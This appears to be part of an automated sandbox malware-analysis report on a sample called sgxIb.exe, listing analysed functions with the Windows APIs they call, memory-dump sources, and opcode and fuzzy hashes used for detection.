Instruction Fuzzy Hash: 28115672C002499FDF10DFAAD845BEEBBF5EF48320F14881AE919A7250C7769940CFA1

Function 06D90550 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06D905BE

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 111088b395539625ee3dc848c982e21e0f6e6e60adfe0f97f7d6e2bef275e377
Instruction ID: 601f9ce68252ab043a730736e72fad97e9d63a447aba99aba53f308a0d2edc74
Opcode Fuzzy Hash: 111088b395539625ee3dc848c982e21e0f6e6e60adfe0f97f7d6e2bef275e377
Instruction Fuzzy Hash: 5E1126728003499FDB10DFAAD844BEEBBF5EF48310F14881AE515A7250C7759940CFA1

Function 06D942F0 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06D94355

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 35f3c08155291158b075d4d8356508d9f4d22bacf8a2514d5481b6c293de3b0f
Instruction ID: 52fb790ccb56c292e685ffb7d3f3b8f1582741d6c1b67d5c660fc0dcaf1a1f09
Opcode Fuzzy Hash: 35f3c08155291158b075d4d8356508d9f4d22bacf8a2514d5481b6c293de3b0f
Instruction Fuzzy Hash: F611F5B58007499FDB20DF9AC845BDEBBF8EB48310F108819E518A7700C375A544CFA1

Function 00C3A48C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,00C3B124), ref: 00C3B35E

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e47212a12be5d932a33a8df19144a61affed3116f1c2dc3f91b15016a559e506
Instruction ID: 780a337d0d1435e2d2b726f21aeacad8f25e72da9bc0eafc3ac20c7ef0f92248
Opcode Fuzzy Hash: e47212a12be5d932a33a8df19144a61affed3116f1c2dc3f91b15016a559e506
Instruction Fuzzy Hash: E51120B5C006098BDB10CF9AC444BDEFBF4EB88320F10846AD929A7210D3B5A905CFA1

Function 06D909A0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06D94355

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cdb82b843fad3f5e5cd23cfb5770d0221ea590e7bb57331304cf347ddfbbeea1
Instruction ID: 89680799354a471cf33255f92d6ec3ed8daca3821407ae622541be446a95c0d4
Opcode Fuzzy Hash: cdb82b843fad3f5e5cd23cfb5770d0221ea590e7bb57331304cf347ddfbbeea1
Instruction Fuzzy Hash: BF11F2B5800749DFDB10DF9AC889BDEFBF8EB48320F10845AE568A7601D375A944CFA5

Function 00B4D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638624120.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b4d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1945e0df3a0224abb83a9faaf83c7c7a2d26f5edc8081bdd0d5a05890ce7170
Instruction ID: 6d2d94deee3fed4107d3b3b21fdb1c5753105c21241a168f1c99b838e2a8d8e9
Opcode Fuzzy Hash: a1945e0df3a0224abb83a9faaf83c7c7a2d26f5edc8081bdd0d5a05890ce7170
Instruction Fuzzy Hash: 14213771600340DFDB05DF14D9C0F2ABFA5FB98318F24C5A9E8090B256C736DA56EBA2

Function 00B5D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638749938.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b5d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3345b65eb80ae0fb4ab7ce8fc41c5cc8ee2794966f49d8cb89fd6001da0719
Instruction ID: 9123efe488e056bf276202c02f48311c1a0eb7d6505a967f6de37ff0c8d22361
Opcode Fuzzy Hash: 1e3345b65eb80ae0fb4ab7ce8fc41c5cc8ee2794966f49d8cb89fd6001da0719
Instruction Fuzzy Hash: CC21B071604344AFDB25DF50D9C0B26BBA5FB88315F24C6EDEC094B292C777D84ACA62

Function 00B5D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638749938.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b5d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ff30d8f94d1f4f61eb424ba238ba4730919d9c2f1a7ea7e47f1c6cc50459fc
Instruction ID: 5fdb2e4888b780090368ffb45f976a28689c75ada398ec82121026a2694ca2a1
Opcode Fuzzy Hash: 10ff30d8f94d1f4f61eb424ba238ba4730919d9c2f1a7ea7e47f1c6cc50459fc
Instruction Fuzzy Hash: C821D371504344DFDB24DF10D5D0B16BBA5EB84315F28C6E9DC0A4B2D6C336D84BCA62

Function 00B5D005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638749938.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b5d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b21000a4d3f23b459b0f669ab68f6507421b78529a3a34f8a80750baacaed4
Instruction ID: 179bdee2dbaa8562e5ea1f6eb777853fbc65e32f7f5415138050207145c720dc
Opcode Fuzzy Hash: 13b21000a4d3f23b459b0f669ab68f6507421b78529a3a34f8a80750baacaed4
Instruction Fuzzy Hash: 222187755093C08FDB16CF20D5D4715BF71EB45314F28C6DAD8498B697C33A984ACB62

Function 00B4D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638624120.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b4d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction ID: cba24f7d6d3c4213d2ad78b1222f65d6c935c0d7ab58f638e4556f0ac37fe197
Opcode Fuzzy Hash: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
Instruction Fuzzy Hash: 8E11E172504280CFCB01CF10D5C0B16BFB1FB94318F24C6EAD8490B656C336D956DBA1

Function 00B5D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638749938.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b5d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 75c1e54c3d0bc8992cee4f9672056d0550876ca39ec1db8b086f811dedf55bbe
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 73117975504280DFCB15CF50D5C4B15BBA1FB84314F28C6EADC494B696C37AD84ACB61

Function 00B4D731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638624120.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b4d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58732a916a2f97fb1298fdd8de0c61a4698c96ad3a762d1fae502c6b2cba69e4
Instruction ID: 09b8bfeea82766dcbaf92b3b40d8a7e04f727970c538ab1f7dce7cff0cedfb7c
Opcode Fuzzy Hash: 58732a916a2f97fb1298fdd8de0c61a4698c96ad3a762d1fae502c6b2cba69e4
Instruction Fuzzy Hash: 2401D631504744ABFB108B25CDC4B66FBD8DF81365F28C49AFD095B282D6799D40EAB2

Function 00B4D730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1638624120.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b4d000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741f770faff449636d1383aa4c2b25e3af003f2f3dca5a95a0cb57fe729bc64a
Instruction ID: 6689fb50b6e3517b3a4bc82589f3d409b5952ae9b0eb77b9012a0b012001bfe7
Opcode Fuzzy Hash: 741f770faff449636d1383aa4c2b25e3af003f2f3dca5a95a0cb57fe729bc64a
Instruction Fuzzy Hash: 72F0CD32404344AFEB108A16C9C4B62FFE8EB80334F18C49AED081B282C2799C40DAB1

Analysis Process: sgxIb.exePID: 4216, Parent PID: 3592COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06CC6708 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 417d6089ffafe5269e2b40492c42596d8964aa2c190cebfd697495188ec658a6
Instruction ID: 13b75517e05ed1fdb6739934b7d742b5c7aa54588375e0feb18bff3b7e045475
Opcode Fuzzy Hash: 417d6089ffafe5269e2b40492c42596d8964aa2c190cebfd697495188ec658a6
Instruction Fuzzy Hash: DE628B34A002049FDB54DB69D694AADB7F2FF88360F24856DD806EB350DB35EE42CB90

Function 06CC3580 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ba5ad4e5429eb35e0f3dd83b3b7cc63241b18aedef88436eb1c1641afdda95
Instruction ID: 35b6c2b710cef3d2698ae3fd3bab8842ce26e17646b247dabc85c78536e044e1
Opcode Fuzzy Hash: c2ba5ad4e5429eb35e0f3dd83b3b7cc63241b18aedef88436eb1c1641afdda95
Instruction Fuzzy Hash: 25324E31E10759CFDB14EFA9D8906ADB7B1FF89310F50C66AD409AB210EB70AD85CB90

Function 06CC59D8 Relevance: 1.6, Strings: 1, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06CC5A03

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: aba864a429d638c36de999942ff0c05da58f1387b19f2ef33b1819ca8cd4e586
Instruction ID: 5a173e0001858965d67a31694a03da7b19eaa9a4268ff28318402992c0ac3384
Opcode Fuzzy Hash: aba864a429d638c36de999942ff0c05da58f1387b19f2ef33b1819ca8cd4e586
Instruction Fuzzy Hash: 37C18C35F002188FDB54DBA4C5946AEBBB2FF88320F60816DD402AB354DB35AD52CBA0

Function 0151EE57 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0151EEBF

Memory Dump Source

Source File: 00000018.00000002.3858842698.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1510000_sgxIb.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 532fc9f04f973e5c341f5aeab657ff5788a2c84053e9a6b8f8adda5ddc11975a
Instruction ID: c7cd20dbfd5d1ae8516db7cbd1c53dd9d3f108d812ae24ac61bf60171f7c5775
Opcode Fuzzy Hash: 532fc9f04f973e5c341f5aeab657ff5788a2c84053e9a6b8f8adda5ddc11975a
Instruction Fuzzy Hash: E81100B1C0065A9BDB10CFAAC445BDEFBF4BB48220F14856AD818A7240D378A9448FA1

Function 0151EE58 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0151EEBF

Memory Dump Source

Source File: 00000018.00000002.3858842698.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1510000_sgxIb.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5cdd6bff1406e8213c401bfdcdd8c5f6f6bf7fa7d3676469c7a0027d25d5c938
Instruction ID: 1d7bf735f3e97ab9175b4a85c1157e705eceef4ed5be64f7d3363c1cc6d0886a
Opcode Fuzzy Hash: 5cdd6bff1406e8213c401bfdcdd8c5f6f6bf7fa7d3676469c7a0027d25d5c938
Instruction Fuzzy Hash: F711DDB2C0065A9BDB10CFAAC445B9EFBF4BB48220F15856AD818A7640D378A9448FA5

Function 06CC58AF Relevance: 1.5, Strings: 1, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06CC5A03

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: eba76f8db1840b72d68288ba682fecf89c29cdd2c117b592639801460cdbba5c
Instruction ID: 71bfb0014024bb1388e3aa7f4148e6fe9eb7c6e617b4189f5a4174e427fc9697
Opcode Fuzzy Hash: eba76f8db1840b72d68288ba682fecf89c29cdd2c117b592639801460cdbba5c
Instruction Fuzzy Hash: 75B18F75E002189FDB60DBA4C5846DEBBB2FF88320F2481ADD4597B344DB31AD56CBA0

Function 06CC59D7 Relevance: 1.5, Strings: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06CC5A03

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: d5ea3dc0076c165a597a26218c6e07de644354f4132b13111cbb9f213c3b70be
Instruction ID: a1aea953e185a057f8c546e35cdc731e86401951a60eb043338c329ac6bf5e9c
Opcode Fuzzy Hash: d5ea3dc0076c165a597a26218c6e07de644354f4132b13111cbb9f213c3b70be
Instruction Fuzzy Hash: CF812875E012189FDB14DBA4C954ADEBBF2FF88720F248169D401BB354DB71AD46CBA0

Function 06CCD070 Relevance: .8, Instructions: 799
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78efeea143f9f7eede68f484af861dd87cdc8281799f3bb0f4e8202ef2bcc23
Instruction ID: f086cbc08be908d5f806e6ddc0413f0c2d723dac0a357a84585ed6eaa1adac4c
Opcode Fuzzy Hash: c78efeea143f9f7eede68f484af861dd87cdc8281799f3bb0f4e8202ef2bcc23
Instruction Fuzzy Hash: 0E625A74A006098FDB55EF68D590A9EB7B2FF84310B208A78D006AF355DB79FD46CB81

Function 06CCB768 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ae3e1f88e6af37b9ec7392477156a5f9f20e6e6596ad2900e0fce42c1bad19
Instruction ID: bc2bfd841140a735f5b77c65ace59f9cd83dc0d669e1687a0630b701ec0e7aad
Opcode Fuzzy Hash: 01ae3e1f88e6af37b9ec7392477156a5f9f20e6e6596ad2900e0fce42c1bad19
Instruction Fuzzy Hash: 32027B30E102098FDBA4CFA8D591BADB7B2FB85320F20856EE405EB255DB35ED45CB91

Function 06CCADE8 Relevance: .4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d24bf7c0c3f7f71143df72f0575d495867836c23588043fe79fb68a5fcc6d80
Instruction ID: 16ffdc94ab46b5590d12d89c877cbbc09a64aa28c3f311da75d5cded2ff75ac3
Opcode Fuzzy Hash: 5d24bf7c0c3f7f71143df72f0575d495867836c23588043fe79fb68a5fcc6d80
Instruction Fuzzy Hash: 51E17C70F1020A8FDB64DFA9D8846AEB7B2FF88310F10852DD416AB354DB75ED428B91

Function 06CCB349 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd0c80c7488d8b2520fa73db2f0c93cd811b8f0538c6f6188b37fdc4eed8337b
Instruction ID: aa75f5c4337545e55e6552bdee6b4575256ec8add7b307c8919b82b5f08caba9
Opcode Fuzzy Hash: fd0c80c7488d8b2520fa73db2f0c93cd811b8f0538c6f6188b37fdc4eed8337b
Instruction Fuzzy Hash: BFB17634E102098FEF64DAE8D4917BEB7B6FB89320F24842DE805E7391DA35DD418B61

Function 06CCB767 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35528522edfc3362219e695f1556317a6ab6a144d1faab4b43c69669af5b5b3
Instruction ID: ba3a187c4133dcf870c68ff9e11d7a3f8d43a639df4c9ceab2c79af16b348814
Opcode Fuzzy Hash: a35528522edfc3362219e695f1556317a6ab6a144d1faab4b43c69669af5b5b3
Instruction Fuzzy Hash: 06A13730E102098BDFA4CFA8D591BADB7B1EB45320F24852EE419EB351DB34EE81CB51

Function 06CC8190 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17079fc76fff7ece83af74c81c1247d7f0aa957342f2b4f3ab48189554b5269c
Instruction ID: 547dc9751acd5f8bc2997687a5f549394e73b31c2a91cf087d58beed5d978287
Opcode Fuzzy Hash: 17079fc76fff7ece83af74c81c1247d7f0aa957342f2b4f3ab48189554b5269c
Instruction Fuzzy Hash: D791BC30B116048FDB54DBA9D8906AEBBB6FF84310F54882DD905EB350DB78ED428B90

Function 06CC9268 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e71f29f88d30f1b6841660a41298bf9c24502055702b1bc2a063bd6667daff24
Instruction ID: db27f8144863a5f6e82078cee43f29fdf681ea8ed1364e36b4c43a376b885639
Opcode Fuzzy Hash: e71f29f88d30f1b6841660a41298bf9c24502055702b1bc2a063bd6667daff24
Instruction Fuzzy Hash: 0B913C74F106098FDB64DB69D8A07AEBBF2FFC8310F508569C509AB344EB74AD418B91

Function 06CC6308 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d112c09d1bc399b5d5862bcc884296ddce66685289510db9ebabcce944a493
Instruction ID: bede87ac8ee8d4da9be67cbdb82dd22473680bbf1d4ed754784b79627e15ffe2
Opcode Fuzzy Hash: e0d112c09d1bc399b5d5862bcc884296ddce66685289510db9ebabcce944a493
Instruction Fuzzy Hash: 1461B5B1F001114FDB549BBEC89466EBAE7AFC4620B29443DD80ADB360DE76ED0287D1

Function 06CC43B9 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe12a28e6b29edaadfaa590854e7794489a3626bcdc68d9684956c76ea043f3
Instruction ID: 6b72c94ed5eee16dadf833845e2046ef1e026b6089a60e30fad65ea723e42d5f
Opcode Fuzzy Hash: ebe12a28e6b29edaadfaa590854e7794489a3626bcdc68d9684956c76ea043f3
Instruction Fuzzy Hash: BE810C74B006498FDB58DFA8D4A069E7BF2BB89310F20C529D509EB354DB35ED428B91

Function 06CC46D4 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7026e3903a508975bec6674ae61e4e11737ca7cd7448a229c61dd7e0b446fb99
Instruction ID: b9c63a2511f2c9b0afacbff7fe43a9933b3db57ab524a43d35525ae755ddad25
Opcode Fuzzy Hash: 7026e3903a508975bec6674ae61e4e11737ca7cd7448a229c61dd7e0b446fb99
Instruction Fuzzy Hash: F8913A30E106198BDF64DF68C890B9DBBB1FF89310F20C599D549BB285DB70AA85CF91

Function 06CC46E8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfb22f14050cb656f85955539eacd225d0059f52fc39676862db8a3f2b3bb550
Instruction ID: 328e786597d86650461008cba2da2fbdd46b86497694dd0cc226f65e9515f22d
Opcode Fuzzy Hash: cfb22f14050cb656f85955539eacd225d0059f52fc39676862db8a3f2b3bb550
Instruction Fuzzy Hash: 7C912A34E106198BDF64DF68C890B9DB7B1FF89310F20C699D549BB285DB70AA85CF90

Function 06CCF048 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36657f5487bbb67b44ab18fc95a2070b617a6270919a01ea9ab3ec9ec289aa30
Instruction ID: 2e2b3992b6b2d1bf74250f45d5b6ab04f55f637d9aa731e51dd93c7e51d8bfe1
Opcode Fuzzy Hash: 36657f5487bbb67b44ab18fc95a2070b617a6270919a01ea9ab3ec9ec289aa30
Instruction Fuzzy Hash: 9D714570A002499FDB54DFA9D990AAEBBF6FF88310F24842DD419AB354DB34ED46CB50

Function 06CCF047 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ead7687c07da9e4d775a02bd30b85fe26099c44b21f5b4c4e7b74dcbf0eb8d3b
Instruction ID: d5ac58476671703698f6282b1950f04f90950ff2ec825dfb480f059351780ee5
Opcode Fuzzy Hash: ead7687c07da9e4d775a02bd30b85fe26099c44b21f5b4c4e7b74dcbf0eb8d3b
Instruction Fuzzy Hash: 71715670A002499FDB54DFA8D990AAEBBF6FF88310F24842DD419AB354DB30ED46CB50

Function 06CC4C80 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e3b77adf9b2819827fc6e3f109597c66ed2ccad237228cb24e3ff0dba1ac870
Instruction ID: d1dcbfacbbb4d5e3079416fc6e28b2cfa210ec2bb5f77304b39e444ff977f502
Opcode Fuzzy Hash: 0e3b77adf9b2819827fc6e3f109597c66ed2ccad237228cb24e3ff0dba1ac870
Instruction Fuzzy Hash: D2616C70F002189FEB54DBA9C8547AEBBF6FF88750F20842ED506AB391DB759C458B90

Function 06CCFA78 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd77374c161e2873769b2f175ec4d766fb64a08a005c4e3916f346e3def9b42e
Instruction ID: 2bb374303e2e5a5dfbf8aafbc3c3b389b044eb8241b59d9340b4496f05095ee4
Opcode Fuzzy Hash: fd77374c161e2873769b2f175ec4d766fb64a08a005c4e3916f346e3def9b42e
Instruction Fuzzy Hash: 6C5195B4B102144BEFA4AB78D96476F266BEBC9360F10443DE41BD7390CA7CCD4143A1

Function 06CC925A Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3898718490.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6cc0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b923413891f18d9d0cb3e8053a2aa5ef433249c38b0dcf31a3e5c4d1306cbd9
Instruction ID: 5bd659013d0724b90922009eba8ec4909aec60f8d742f95aaf556cea24e6e90e
